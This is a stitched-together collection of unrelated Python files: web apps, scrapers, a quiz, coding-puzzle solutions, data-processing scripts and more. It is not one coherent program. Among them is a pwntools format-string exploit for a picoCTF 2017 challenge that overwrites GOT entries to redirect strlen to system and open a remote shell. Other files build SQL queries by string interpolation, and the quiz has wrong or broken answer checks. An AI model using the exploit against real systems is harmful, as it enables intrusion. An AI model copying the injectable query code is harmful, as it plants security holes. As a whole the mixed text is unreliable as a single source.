import sys
from optparse import OptionParser

class UsageOptionParser(OptionParser):
    """
    A subclass of OptionParser that prints that overrides error() to print the
    whole help text, rather than just the usage string.
    """
    def error(self, msg):
        """
        Print the help text and exit.
        """
        self.print_help(sys.stderr)
        sys.stderr.write("\n")
        sys.stderr.write(msg)
        sys.stderr.write("\n")
        sys.exit(2)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# irisdc.py

""" Fetches data form a Google Spreadsheet and calculates different variables. """

import argparse
import csv
import json
import sys
import queue
import os
import requests
import mistune

from oauth2client.client import SignedJwtAssertionCredentials
from flask import Flask, jsonify, request, render_template, send_from_directory
from hamlish_jinja import HamlishExtension
from flask.ext.assets import Environment, Bundle

import IrisDimmensionalCalculator

__author__ = "Codeando México"
__license__ = "GPL"
__version__ = "1.0"
__credits__ = "Miguel Salazar, Ricardo Alanis"
__maintainer__ = "Miguel Salazar"
__email__ = "miguel@codeandomexico.org"
__status__ = "Prototype"

app = Flask(__name__)
queue = queue.Queue()

app.jinja_env.filters['env'] = os.getenv

app.jinja_env.add_extension(HamlishExtension)

assets = Environment(app)
assets.url = app.static_url_path

css_bundle = Bundle('css/home.css.css',  output='all.css')
assets.register('css_all', css_bundle)

#js_bundl = Bundle('js/home.js.coffe', filters='coffescript', output='all.js')
#assets.register('js_all', js_bundle)

@app.route('/visualiza-tus-resultados')
def form():
    return render_template("form.html.haml")

@app.route('/', methods=['POST'])
def form_post():

    url = request.form['url']
    call_url = 'http://powerful-oasis-7324.herokuapp.com/api/response?url="'+ url+ '"'
    request_url = requests.get(call_url)
    graphdata = request_url.json()['data']
    graphjson = json.dumps(graphdata)
    graphjson = graphjson
    return render_template("graph.html.haml", graphjson= graphjson)

@app.route('/')
def get_que_es_iris():
    file = open("app/static/content/index.md")
    content = mistune.markdown(file.read())
    return render_template("md.html.haml", title="Inicio", content=content)

@app.route('/contesta-iris')
def get_como_contestar_iris():
    file = open("app/static/content/como-contestar-iris.md")
    content = mistune.markdown(file.read())
    return render_template("md.html.haml", title="Contesta IRIS", content=content)

@app.route('/api/response', methods=['GET'])
def get_response():
	urldoc = request.args.get('url')
	stringurl = str(urldoc)
	iris = IrisDimmensionalCalculator.IrisDimmensionalCalculator(stringurl,queue)

	try:
		iris.start()
		iris_grade = queue.get()
	except:
		iris_grade = "Error de procesamiento"
	return jsonify({'data':[iris_grade]})

if __name__ == '__main__':
	app.run(debug=True, threaded=True)


print("Welcome to my Quiz!")

playing = input("Do you want to play? ")

if playing.lower() != "yes":
    quit()
print("Ok!Let's play!")
score = 0

answer = input("What was the first toy to be advertised on television? ")
if answer.lower() == "mr potato head from toy story":
    print('Correct!')
    score += 1
else:
    print("Incorrect")

answer = input("In what 1976 thriller does Robert De Niro famously say 'You talkin' to me?' ")
if answer.lower() == "taxi driver":
    print('Correct!')
    score += 1
else:
    print("Incorrect")

answer = input("For what movie did Steven Spielberg win his first Oscar for Best Director? ")
if answer.lower() == "schindler's list ":
    print('Correct!')
    score += 1
else:
    print("Incorrect")

print("You got " + str(score) + " questions correct!")
print("You got " + str((score/3) * 100) + "%.")


import os

LOG_LEVEL = os.environ.get('LOG_LEVEL', 'INFO')
LOG_FORMAT = '%(asctime)s %(levelname)s:%(name)s:%(message)s'
LOG_DATE_FORMAT = '%Y-%m-%d %H:%M:%S'

CONFIG_FILE = os.environ.get('CONFIG_FILE', 'config.yaml')

COMMON_SECTION_NAME = 'common'
TEMPLATES_DIR = os.environ.get('TEMPLATES_DIR', 'templates')

K8S_CONFIG_DIR = os.environ.get('K8S_CONFIG_DIR', '{}/.kube/'.format(os.path.expanduser('~')))

K8S_NAMESPACE = None

TEMP_DIR = os.environ.get('TEMP_DIR', '/tmp/k8s-handle')

CHECK_STATUS_TRIES = 360
CHECK_STATUS_TIMEOUT = 5

CHECK_CONTAINERS_IN_POD_TRIES = 360
CHECK_CONTAINERS_IN_POD_TIMEOUT = 5

CHECK_POD_STATUS_TRIES = 360
CHECK_POD_STATUS_TIMEOUT = 5

CHECK_DAEMONSET_STATUS_TRIES = 10
CHECK_DAEMONSET_STATUS_TIMEOUT = 5

COUNT_LOG_LINES = None

GET_ENVIRON_STRICT = False


import requests,json, time,os,subprocess
from datetime import datetime

url = "https://cdn-api.co-vin.in/api/v2/appointment/sessions/calendarByDistrict?district_id=670&date=16-05-2021"
url2 = "https://cdn-api.co-vin.in/api/v2/appointment/sessions/calendarByDistrict?district_id=670&date=16-05-2021"

flag = True
url_flag = True
skip_count = 0
head = {
    "accept":"application/json, text/plain, */*",
    "accept-encoding": "gzip, deflate, br",
    "accept-language": "en-GB,en-US;q=0.9,en;q=0.8",
    "origin": "https://www.cowin.gov.in",
    "referer": "https://www.cowin.gov.in/",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "cross-site",
    "sec-gpc": "1",
    "user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
}

while flag:
    try:
        if url_flag:
            print(url)
            r = requests.get(url, headers=head)
            url_flag = False
        else:
            print(url2)
            r = requests.get(url2, headers=head)
            url_flag = True
        print("request sent " + datetime.now().strftime('%d-%m-%Y %H:%M:%S'))
        # print(r.text)
        #valid_pin = [226028, 226010, 226016]
        valid_pin = []
        exclude_hosp = ['Charak Hospital']
        # exclude_pin = []
        center_list= json.loads(r.text)
        vaccine_available = False
        for center in center_list['centers']:
            if center['pincode'] not in valid_pin:
                for session in center['sessions']:
                    if session['min_age_limit'] < 45 and session['available_capacity'] > 1:
                        print(center['name'] + "-" + str(center["pincode"]) + " : " + session['date'] + " : slots- " +
                              str(session['available_capacity']) + " : " + str(session['vaccine'] + " : age " + str(session['min_age_limit'])))
                        # print(center)
                        if center['name'] not in exclude_hosp:
                            vaccine_available = True
        if vaccine_available:
            os.system('say "Vaccine Slot Available"')
            subprocess.call(["afplay", "alert.wav"])
            # flag = False
            time.sleep(60)
            exit(0)
        else:
            print("no slot")
    except Exception as e:
        if 'Expecting value: line 1 column 1 (char 0)' == str(e) and skip_count < 3:
            print(e)
            os.system('say "Program failed"')
            skip_count += 1
            pass
        else:
            print(e)
            os.system('say "Program failed. Exiting"')
            subprocess.call(["afplay", "alert.wav"])
            exit(-1)
    time.sleep(30)


from json_util import *
from util import *

base_url = "https://e-hentai.org/"
cookies = read_file("cookies.txt")

eh = get_bs(base_url, cookies)
print(get_page_count(eh))
book_list = get_all_books(eh)
book_list2 = get_all_torrent_url(book_list, cookies)
book_list3 = get_book_detail(book_list2, cookies)

json = list_to_json(book_list3)
print(json)
save_json(json)

# html_file = open("test.html", 'r', encoding='utf-8')
# html_handle = html_file.read()
# eh = BeautifulSoup(html_handle, 'html5lib')

# url = "https://e-hentai.org/archiver.php?gid=1457480&token=01058a136d&or=43469" \
#       "3--e83dc95cb90c5bfa3c0bce88b1ea848d3884644e"
# params = {"dltype": "org", "dlcheck": "Download Original Archive"}
# bs = post_bs(url, cookies, params)
# print(bs)


from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.support.wait import WebDriverWait
class CategoryPage():
    def __init__(self,driver):
        self.driver=driver
        self.categoryname="Sipariş Takibi"
        self.alerttext=".alert-orange > .content"

    def get_orderid(self):
        WebDriverWait(self.driver, 8).until(
            expected_conditions.visibility_of_element_located((By.LINK_TEXT, self.categoryname)))
        self.driver.find_element(By.LINK_TEXT, self.categoryname).click()
        self.driver.find_element(By.ID, "orderId").send_keys("123456789")
    def get_customer_email(self):
        self.driver.find_element(By.ID, "customerEmailAddress").click()
        self.driver.find_element(By.ID, "customerEmailAddress").send_keys("test@gmail.com")
        self.driver.find_element(By.ID, "submit-order-find").click()

    def get_alert(self):
        self.driver.find_element(By.CSS_SELECTOR,self.alerttext ).click()
        WebDriverWait(self.driver, 8).until(
            expected_conditions.visibility_of_element_located((By.CSS_SELECTOR, self.alerttext)))


class Solution:
    def subsets(self, nums: List[int]) -> List[List[int]]:
        #
        # (2) Backtracking approach
        #   Time complexity: O(N * 2**N)
        #   Space complexity: O(N)
        #
        outputs = []

        # backtracking
        def backtracking(k, n, first = 0, curr = []):
            # if the combination is done
            if (len(curr) == k):
                outputs.append(curr.copy())
                return

            for i in range(first, n):
                # add nums[i] into the current combination
                curr.append(nums[i])

                # use next integers to complete the combination
                backtracking(k, n, i + 1, curr)

                curr.pop()

        n = len(nums)
        for k in range(n + 1):
            backtracking(k, n)
        return outputs


## String Parser #######################################################################################################
## some nice code made by the one and only n10

def parse_string(phrase:str, marker:str, validNames):
    delim = marker
    words = phrase.split()
    hitlist = []
    indlist = []
    for index,word in enumerate(words):
        try:
            if (word == delim) and (words[index+1] in validNames.keys()):
                hitlist.append(validNames[words[index+1]])
                indlist.insert(0, index)
                indlist.insert(0, index+1)
        except IndexError:
            continue

    for ind in indlist:
        del words[ind]

    return (' '.join(words), hitlist)


import sys
import datetime
print(sys.maxsize)

s=1
for x in range(2147483647):
    s = s*2
    if(x% 1000000 == 0):
        f = open(str(x)+".txt","w")
        f.write(str(s))
        f.close()
        print(x,datetime.datetime.now())
f = open("answer.txt","w")
f.write(str(s))
f.close()


"""This module contains the classes for Gradescope assignments."""
from __future__ import annotations

import logging
import re
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Dict, TypedDict

import requests
from bs4 import BeautifulSoup
from dataclasses_json import dataclass_json
from requests_toolbelt import MultipartEncoder

from gapper.connect.api.mixins import SessionHolder
from gapper.connect.api.utils import OSChoices

_assignment_logger = logging.getLogger("gapper.connect.api.assignment")

NO_IMAGE_REGEX = re.compile(r"gon\.image *= *null *;?")
IMAGE_REGEX = re.compile(
    r"gon\.image *= *{.*\"name\" *: *\"gradescope/autograders:.*-(?P<docker_id>\d+)\""
)

class DockerStatusJson(TypedDict):
    """The json response of the docker status of upload."""

    id: int
    assignment_id: int
    name: str
    status: str
    stdout: str
    stderr: str
    created_at: str
    updated_at: str

@dataclass_json
@dataclass
class GSAssignmentEssential(SessionHolder):
    """The essential information of a Gradescope assignment."""

    cid: str
    aid: str
    docker_id: str | None

    def __init__(
        self,
        cid: str,
        aid: str,
        docker_id: str | None = None,
        *,
        session: requests.Session | None = None,
    ) -> None:
        """Create a Gradescope assignment essential object.

        :param cid: The course id of the Gradescope assignment.
        :param aid: The assignment id of the Gradescope assignment.
        :param docker_id: The docker id of the assignment.
        :param session: The session to use.
        """
        super().__init__(session)
        self.cid = cid
        self.aid = aid
        self.docker_id = docker_id
        self._logger = _assignment_logger.getChild(f"GSAssignmentEssential_{self.aid}")

    async def upload_autograder(self, path: Path, os_choice: OSChoices) -> None:
        """Upload the autograder to the assignment.

        :param path: The path to the autograder zip file.
        :param os_choice: The choice of the operating system.
        """
        if not path.exists():
            raise FileNotFoundError(f"File {path} does not exist when uploading")
        if not path.is_file() or not path.suffix == ".zip":
            raise ValueError(f"File {path} is not a zip file")

        autograder_config = self._session.get(
            "https://www.gradescope.com/courses/"
            + self.cid
            + "/assignments/"
            + self.aid
            + "/configure_autograder"
        )
        autograder_config_resp = BeautifulSoup(autograder_config.text, "html.parser")
        autograder_form = autograder_config_resp.find(
            "form", attrs={"class": "js-autograderForm"}
        )
        authenticity_token = autograder_form.find(
            "input", attrs={"name": "authenticity_token"}
        ).get("value")

        autograder_dict: Dict[str, str] = {
            "utf8": "â",
            "_method": "patch",
            "authenticity_token": authenticity_token,
            "configuration": "zip",
            "autograder_zip": (path.name, path.read_bytes(), "text/plain"),
            "base_image_id": str(os_choice.value.id),
            "assignment[image_name]": os_choice.value.image,
        }

        multipart = MultipartEncoder(fields=autograder_dict)

        response = self._session.post(
            f"https://www.gradescope.com/courses/{self.cid}/assignments/{self.aid}/",
            data=multipart,
            headers={"Content-Type": multipart.content_type},
        )

        if response.status_code != requests.codes.ok:
            raise ValueError(f"Upload failed with status code {response.status_code}")

    def get_active_docker_id(self) -> str | None:
        """Get the active docker id of the assignment."""
        if self.docker_id is None:
            autograder_config = self._session.get(
                "https://www.gradescope.com/courses/"
                + self.cid
                + "/assignments/"
                + self.aid
                + "/configure_autograder"
            )

            if autograder_config.status_code != requests.codes.ok:
                self._logger.debug(
                    f"Failed to get autograder config. The status code is {autograder_config.status_code}"
                )
                return None

            self._logger.debug("Got autograder config")
            self._logger.debug(autograder_config.text)

            if NO_IMAGE_REGEX.search(autograder_config.text) is not None:
                self._logger.debug("No image found")
                return None

            id_match = IMAGE_REGEX.search(autograder_config.text)
            if id_match is None:
                self._logger.debug("No image found")
                self._logger.error(
                    "Cannot find docker image id. Please notify the developer of this error."
                )
                return None

            self.docker_id = id_match.groupdict()["docker_id"]

        return self.docker_id

    def get_docker_build_status(self) -> DockerStatusJson | None:
        """Get the docker build status of the assignment."""
        docker_id = self.get_active_docker_id()
        if docker_id is None:
            return None

        return self._session.get(
            f"https://www.gradescope.com/courses/{self.cid}/assignments/{self.aid}/docker_images/{docker_id}.json"
        ).json()

    def __eq__(self, other: Any) -> bool:
        """Check if two GSAssignments are equal."""
        if isinstance(other, GSAssignmentEssential):
            return self.cid == other.cid and self.aid == other.aid
        return False

    def __hash__(self) -> int:
        return hash(f"{self.cid}{self.aid}")

@dataclass_json
@dataclass
class GSAssignment(GSAssignmentEssential):
    """The Gradescope assignment with detailed information."""

    name: str
    points: str
    submissions: str
    percent_graded: str
    published: bool
    release_date: str
    due_date: str
    hard_due_date: str | None

    def __init__(
        self,
        cid: str,
        name: str,
        aid: str,
        points: str,
        submissions: str,
        percent_graded: str,
        published: bool,
        release_date: str,
        due_date: str,
        hard_due_date: str | None,
        docker_id: str | None = None,
        *,
        session: requests.Session | None = None,
    ) -> None:
        """Create a Gradescope assignment object.

        :param cid: The course id of the Gradescope assignment.
        :param name: The name of the Gradescope assignment.
        :param aid: The assignment id of the Gradescope assignment.
        :param points: The points of the Gradescope assignment.
        :param submissions: The submissions of the Gradescope assignment.
        :param percent_graded: The percent graded of the Gradescope assignment.
        :param published: Whether the Gradescope assignment is published.
        :param release_date: The release date of the Gradescope assignment.
        :param due_date: The due date of the Gradescope assignment.
        :param hard_due_date: The late due date of the Gradescope assignment.
        :param docker_id: The docker id of the Gradescope assignment.
        :param session: The session to use.
        """
        super().__init__(cid, aid, docker_id, session=session)
        self.name = name
        self.points = points
        self.submissions = submissions
        self.percent_graded = percent_graded
        self.published = published
        self.release_date = release_date
        self.due_date = due_date
        self.hard_due_date = hard_due_date
        self._logger = _assignment_logger.getChild(f"GSAssignment_{self.aid}")


import markdown

class Article(object):
    def __init__(self, md):
        if not md.startswith("---"):
            return

        head = md[4:md.find("---", 3)].split("\n")[:-1]
        head = [x.lstrip() for x in head]

        for attr in head:
            split = attr.find(":")
            setattr(self, attr[:split], attr[split+1:].strip())

        self.categories = self.categories.split(", ")
        self.text = markdown.markdown(md[md.find("---", 3)+3:])


import random
from Backend.src.consumer_data_managers.redis_manager import redis_manager

# Since we do not possess Kafka lets write a function that should fill our Redis with info
# as if it came from Kafka
# Randomly pick an item and an action as simulation for interactions
# Randomly pick a number from 1 to 10 as the amount of actions to simulate

def mock_consumer_action():
    product_options = ["productA", "productB", "productC", "productD", "productE"]
    action_options = ["view", "buy", "comment"]

    for i in range(1, 4):
        actions = [{
            "user": i,
            "product": random.choice(product_options),
            "action": random.choice(action_options)
        } for _ in range(random.randint(1, 100))]

        # For each action send it to Kafka
        for action in actions:
            redis_manager.save_event_to_redis(user_id=action["user"], data=action)

if __name__ == "__main__":
    mock_consumer_action()


non_content_tags = {
    'head',
    'title',
    'script',
    'noscript',
    'link',
    'style',
    'base',
    'meta',
}

word_tags = {
    "strong",
    "b",
    "i",
    "u",
}

tags_to_process = {
    "html",
    "head",
    "meta",
    "link",
    "body",
    "h1",
    "h2",
    "h3",
    "h4",
    "h5",
    "h6",
    "strong",
    "b",
    "i",
    "u",
    "p",
    "script",
    "style",
    "div",
    "span",
    "pre",
    "a",
    "ul",
    "ol",
    "li",
    "table",
    "tbody",
    "thead",
    "tr",
    "td",
}


import re
import logging

from dependency_management.requirements.PackageRequirement import (
    PackageRequirement)

class MavenRequirement(PackageRequirement):
    """
    This class is a subclass of ``PackageRequirement``. It specifices the proper
    type for ``java`` packages automatically and provide a function to check
    for the requirement.
    """

    def __init__(self, package, version: str,
                 repo="https://repo.maven.apache.org/maven2"):
        """
        Constructs a new ``MavenRequirement``, using the ``PackageRequirement``
        constructor.

        >>> mr = MavenRequirement('com.puppycrawl.tools:checkstyle', '6.15')
        >>> mr.type
        'mvn'
        >>> mr.package
        'com.puppycrawl.tools:checkstyle'
        >>> mr.version
        '6.15'
        >>> mr.repo
        'https://repo.maven.apache.org/maven2'

        :param package: A string with the {groupId:artifactId} of
                        the package to be installed.
        :param version: A version string.
        :param repo:    The repository from which the package to
                        be installed is from.
        """
        package_regex = '([^: /]*:[^: /]*)'
        package_match = (re.compile(package_regex)).match(package)

        if not package_match:
            logging.error(
                'The package must be of the form [groupId:artifactId]')
            return

        if version is None:
            logging.error('Please specify the version of the package')
            return

        PackageRequirement.__init__(self, 'mvn', package, version)
        self.repo = repo

    def install_command(self):
        """
        Creates the installation command for the instance of the class.

        >>> MavenRequirement(
        ...     'com.puppycrawl.tools:checkstyle', '6.15',
        ...     'https://repo.maven.apache.org/maven2').install_command()
        'mvn org.apache.maven.plugins:maven-dependency-plugin:2.1:get \
                       -DrepoUrl=https://repo.maven.apache.org/maven2/ \
                       -Dartifact=com.puppycrawl.tools:checkstyle:6.15'

        :param return: A string with the installation command.
        """
        result = ('mvn org.apache.maven.plugins:maven-dependency'
                  '-plugin:2.1:get \
                       -DrepoUrl={}/ \
                       -Dartifact={}:{}'.format(self.repo, self.package,
                                                self.version))
        return result

    def is_installed(self):
        """
        Checks if the dependency is installed.

        :param return: True if dependency is installed, false otherwise.
        """
        return not run('mvn dependency:get -Dartifact={}:{} --offline'.format(
                       self.package,
                       self.version), stdout=Capture(),
                       stderr=Capture()).returncode


import datetime
import sqlite3

from src.database_functions import execute_query
from src.utils import database_cache_path

def main():

    date = "2023-01-03"
    location = "southeastern-highlands"

    db_path = database_cache_path()
    assert db_path.exists()

    conn = sqlite3.connect(str(db_path))
    cursor = conn.cursor()

    execute_query(f"SELECT * FROM mwis WHERE (date='{date}' AND location='{location}')", cursor)

    print(cursor.fetchall()[-1])

if __name__ == "__main__":
    main()


def load_lines():
    clean_lines = list()
    with open(f"input/day2.txt", "r") as f:
        lines = f.readlines()
        for line in lines:
            clean_lines.append(line.replace("\n", ""))
    return clean_lines

conditions = {
    'red': 12,
    'green': 13,
    'blue': 14
}

# games_valid = 0
# games = load_lines()
#
# for game in games:
#     splitted = game.split(':')
#     game_id = int(splitted[0].replace('Game ', ''))
#     sets = splitted[1].split(';')
#     invalid_game = False
#     for s in sets:
#         if invalid_game:
#             break
#         game_state = {
#             'red': 0,
#             'green': 0,
#             'blue': 0
#         }
#         cubes = s.strip().split(', ')
#         for cube in cubes:
#             config = cube.split(' ')
#             game_state[config[1]] += int(config[0])
#         if game_state['red'] > conditions['red'] or game_state['green'] > conditions['green'] or game_state['blue'] > conditions['blue']:
#             red_state = 'OK' if game_state['red'] <= conditions['red'] else f"++{game_state['red']-conditions['red']}"
#             green_state = 'OK' if game_state['green'] <= conditions['green'] else f"++{game_state['green']-conditions['green']}"
#             blue_state = 'OK' if game_state['blue'] <= conditions['blue'] else f"++{game_state['blue']-conditions['blue']}"
#             print(f"Game {game_id} is INVALID -> RED {red_state}, BLUE {blue_state}, GREEN {green_state}")
#             invalid_game = True
#     if not invalid_game:
#         games_valid += game_id
#
# print(f"Sum of valid game ids == {games_valid}")

total_power = 0

games = load_lines()
for game in games:
    splitted = game.split(':')
    game_id = int(splitted[0].replace('Game ', ''))
    sets = splitted[1].split(';')
    invalid_game = False
    game_power_state = {
        'red': 0,
        'green': 0,
        'blue': 0
    }
    for s in sets:
        if invalid_game:
            break
        game_state = {
            'red': 0,
            'green': 0,
            'blue': 0
        }
        cubes = s.strip().split(', ')
        for cube in cubes:
            config = cube.split(' ')
            game_state[config[1]] += int(config[0])
        game_power_state['red'] = max(game_power_state['red'], game_state['red'])
        game_power_state['green'] = max(game_power_state['green'], game_state['green'])
        game_power_state['blue'] = max(game_power_state['blue'], game_state['blue'])

    power = game_power_state['red'] * game_power_state['green'] * game_power_state['blue']
    total_power += power

print(f"Total power == {total_power}")


'''
Usage:
"D:\Program Files\Python\Python37\python_d" pyrecode_c
'''

import sys
import numpy as np
# sys.path.append('../../win32/x64/Debug')
# sys.path.append('../../win32/x64/Release')
# sys.path.append('D:\cbis\GitHub\ReCoDe\src\pyrecode')
'''
for p in sys.path:
    print(p)
'''
import PyReCoDe
from .recode_header import ReCoDeHeader
# from PyReCoDe import _compress_stream, _decompress_stream

# print( dir(PyReCoDe) )
print(PyReCoDe.__doc__)
print(PyReCoDe.__dict__)

fname = 'D:/cbis/GitHub/ReCoDe/scratch/400fps_dose_43.rc1'

rc_header = ReCoDeHeader()
rc_header.load(fname)
rc_header.print()

c_reader = PyReCoDe.Reader()
c_reader._open_file(fname)
c_reader._close_file()

for r in range(10):
    byte_array = bytearray(1024)
    for i in range(1024):
        byte_array[i] = i%(r+2)
    data = memoryview(byte_array)
    compressed_data = memoryview(bytes(1024))
    decompressed_data = memoryview(bytes(1024))
    n_compressed_bytes = c_reader._compress_stream(0,1,data,1024,compressed_data)
    print("n_compressed_bytes =", n_compressed_bytes)
    c_reader._decompress_stream_1(0,1,compressed_data,decompressed_data,n_compressed_bytes,1024)
    a1 = np.asarray(data)
    a2 = np.asarray(decompressed_data)
    state = np.array_equal(a1, a2)
    print(r, state)

'''
for d in decompressed_data:
    print(d)
'''

# data.release()
# compressed_data.release()
# decompressed_data.release()


from pyspark.sql import SparkSession
from pyspark import RDD
from pyspark.streaming import StreamingContext
from pyspark.streaming.kinesis import KinesisUtils, InitialPositionInStream, StorageLevel
import time

def run():
    APP_NAME = 'kinesis-stream-test'

    STREAM_NAME = 'aws-glue-kinesis-test'
    ENDPOINT_URL = 'https://kinesis.us-east-1.amazonaws.com'
    REGION = 'us-east-1'

    # The time interval to get a new RDD in seconds
    batchInterval = 5

    spark = SparkSession.builder.appName(APP_NAME).getOrCreate()
    sc = spark.sparkContext
    sc.setLogLevel('ERROR')

    ssc = StreamingContext(sc, batchInterval)

    stream = KinesisUtils.createStream(
        ssc=ssc,
        kinesisAppName=APP_NAME,
        streamName=STREAM_NAME,
        endpointUrl=ENDPOINT_URL,
        regionName=REGION,
        initialPositionInStream=InitialPositionInStream.LATEST,
        checkpointInterval=batchInterval,
        storageLevel=StorageLevel.MEMORY_ONLY,
    )

    def esink(f):
        def func(*args, **kwargs):
            try:
                f(*args, **kwargs)
            except Exception as e:
                print(f'{f.__name__} raised exception {str(e)}')
        return func

    @esink
    def get_output(_, rdd: RDD):

        if (len(rdd.take(1)) == 0):
            print('No record')
            return

        print('New RDD is coming ...')
        print(f'No. of RDD partitions - {rdd.getNumPartitions()}')
        data = rdd.collect()
        for e in data:
            print(e)

        print(f'Data entry count = {len(data)}')

        # Test the case when processing time longer than the interval
        # T = 10
        # print(f'Sleep for {T} seconds ...')
        # time.sleep(T)
        # print('Done sleep!')

    # Exception in the get_output function can stop the streaming
    stream.foreachRDD(get_output)

    print('Start streaming ...')
    ssc.start()
    ssc.awaitTermination()

if __name__ == '__main__':
    run()


from typing import List, Dict

class Basic_Adapter:
    """
    abstract base class that needs to be subclassed for every special adapter
    each special class should have an instantiated transformer_dict in the following structure:
    {'db_field_name_for_program': 'key_from_tp_importer', ...}
    """

    transformer_dict = dict()

    def transform(
        self, tp_data: List[Dict], transformer_dict: dict = None
    ) -> List[Dict]:
        """
        transforms the given dictionaries to a form defined in the class variable
        :param tp_data: a list of dictionaries coming from the TP-Importer
        :param transformer_dict: [OPTIONAL] a dictionary with the format {KEY_FOR_APP:KEY_FROM_TPIMPORTER} -
        used for separated importing of further data that is not covered within the original transformer_dict
        :return: List[Dict] (with adapted keys fitting the specific service)
        """
        if not transformer_dict:
            transformer_dict = self.transformer_dict
        tp_data_mam = []
        for title in tp_data:
            title_dict_mam = dict()
            for key_mam, key_tpimporter in transformer_dict.items():
                title_dict_mam[key_mam] = title.get(key_tpimporter)
            tp_data_mam.append(title_dict_mam)
        return tp_data_mam


import cv2
import numpy as np

img = cv2.imread('1.jpg',1)
cv2.imshow('src',img )
imgInfo = img.shape
height = imgInfo[0]
width = imgInfo[1]  #   获取图像信息 宽度  高度
#   三个位置进行映射  （左上角  左下角  右上角）
matSrc = np.float32([[0,0],[0,height],[width-1,0]])
matDst = np.float32 ([[50,50],[300,height -200],[width-300,100]])
#  组合矩阵
matAffine = cv2.getAffineTransform(matSrc,matDst)
dst = cv2.warpAffine(img,matAffine,(width,height))
cv2.imshow('dst',dst)
cv2.waitKey(0)

图像几何变换/图像仿射边间.py


# A List is a collection which is ordered and changeable. Allows duplicate members.

# Create List
numbers = [1, 2, 3, 4, 5]

fruits = ['Apples', 'Oranges', 'Pears']
# print(numbers, num2)

# get value
print(fruits[1])

# get length
print(len(fruits))

# append to list
fruits.append('Mangoes')

# change value
fruits[0] = 'coconut'
# remove from list
fruits.remove('Pears')

# Insert into position
fruits.insert(2, 'Strawberries')

# remove with pop
fruits.pop(2)

# Reverse list
fruits.reverse()

# Sort list
fruits.sort()

# Reverse sort
fruits.sort(reverse=True)

print(fruits)


#!/usr/bin/env python

from pwn import *

# first, overwrite exit() with loop(), so that we can keep runing
# second, allow strlen<plt> to materialize (0x00sec)
# next, overwrite strlen() with system
# finally, set prompt to /bin/sh and get shell!

# objdump -R
EXIT_GOT 	= 0x601258
EXIT_PLT 	= 0x400730
STRLEN_GOT 	= 0x601210
LOOP 		= 0x4009bd

#socks proxy
#context.proxy = 'localhost'
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
#r = process(["./console", "console_log"], raw=False, env=env)
"""gdb.attach(r, '''
	set disable-randomization off
	break  set_login_message
	c
	''')
	"""
r = remote("shell2017.picoctf.com", 11496)

def leak():
	arr = set("%p "*15).split(" ")
	return (arr[0], arr[6]);

def set(message):
	r.sendline("e ".ljust(8) + message)
	r.recvuntil("set!")
	return r.recv().lstrip()

#overwrite exit@plt with loop()
payload = ("|%2484x%17$hn|").rjust(16) # leak, 8 byteoffset to next val.
#another 8 byte offset to ensure that
#our input is in its own place on the stack?
payload += p64(EXIT_GOT)
log.info("Overwriting exit@GOT to point back to loop...")
set(payload)

log.info("Leaking libc and stack...")
leaks = leak()

#exit() overwritten!
log.info("libc leak: {0}".format(leaks[0]))
# log.info("stack leak: {0}".format(leaks[1]))

STRLEN_LEAK = 0x7f89611cfc10
SYSTEM_LEAK = 0x7f896118f490 # this is taken from just printing in GDB once
SAMPLE_LEAK = 0x7f89614f4323

# we're given sample leaks and want to write to strlen
STRLEN_OFFSET = SAMPLE_LEAK - STRLEN_LEAK
SYSTEM_OFFSET = SAMPLE_LEAK - SYSTEM_LEAK

STRLEN = int(leaks[0], 16) - STRLEN_OFFSET
SYSTEM = int(leaks[0], 16) - SYSTEM_OFFSET
log.info("Strlen shoudl be at: 0x{0:x}".format(STRLEN))
log.info("System should be at: 0x{0:x}".format(SYSTEM))
#log.info("Check with GDB now...")
#r.sendline("l q")
log.info("Populating strlen@GOT...")
r.sendline("p q")

# write lower 4
SYSTEM_LOWER = (SYSTEM & 0xffff) - 8
log.info("SYSTEM_LOWER: {0:x}".format(SYSTEM_LOWER))
payload = ("|%%%dx|%%17$hn|" % SYSTEM_LOWER).rjust(16)
payload += p64(STRLEN_GOT)
log.info("Overwriting bottom bytes of strlen...")
set(payload)

#write middle 4
SYSTEM_MIDDLE = ((SYSTEM & 0xffff0000) >> 16) - 8
log.info("SYSTEM_MIDDLE: {0:x}".format(SYSTEM_MIDDLE))
payload = ("|%%%dx%%17$hn|" % SYSTEM_MIDDLE).rjust(16)
payload += p64(STRLEN_GOT+2)
log.info("Overwriting middle bytes of strlen...")
set(payload)

#stuff gets buffered :(

log.info("Calling system...")
r.sendline("p sh")
pause()
r.interactive()


from PIL import Image
import numpy as np
import glob
import os

def saveTiffStack(save_path, imgs):
    stack = []
    for img in imgs:
        stack.append(Image.fromarray(img))
    stack[0].save(save_path, compression="tiff_deflate",
    save_all=True, append_images=stack[1:])

def make_imgs():
    imgs = []
    #for p in glob.glob(os.path.join("python_lifegame", "*.png")):
    for i in range(100):
        name = str(i) + ".png"
        p = os.path.join("python_lifegame", name)
        im = np.array(Image.open(p))
        imgs.append(im)
    return imgs

if __name__ == "__main__":
    imgs = make_imgs()
    save_path = os.path.join("python_lifegame", "st1.tif")
    saveTiffStack(save_path, imgs)

"""
reference
https://qiita.com/machisuke/items/0ca8a09d79bd5eba3cf3

"""


# -*- coding: utf-8 -*-
"""
Created on Wed Oct  7 17:26:14 2015

@author: SZahn
"""

def multiplicationTable(x):
    ''' Prints the multiplication table for the supplied integer. '''
    for i in range(1, 11):
        print('{0} x {1} = {2}'.format(int(x), i, int(x)*i))

if __name__ == '__main__':
    a = input('Enter a number: ')
    multiplicationTable(float(a))

Book and Course Notes/Doing_Math_With_Python_Scripts/c1_MultiplicationTable.py


import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten, BatchNormalization
from tensorflow.keras.layers import Conv2D, MaxPooling2D
from keras.utils.np_utils import to_categorical
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import LabelBinarizer
from keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau
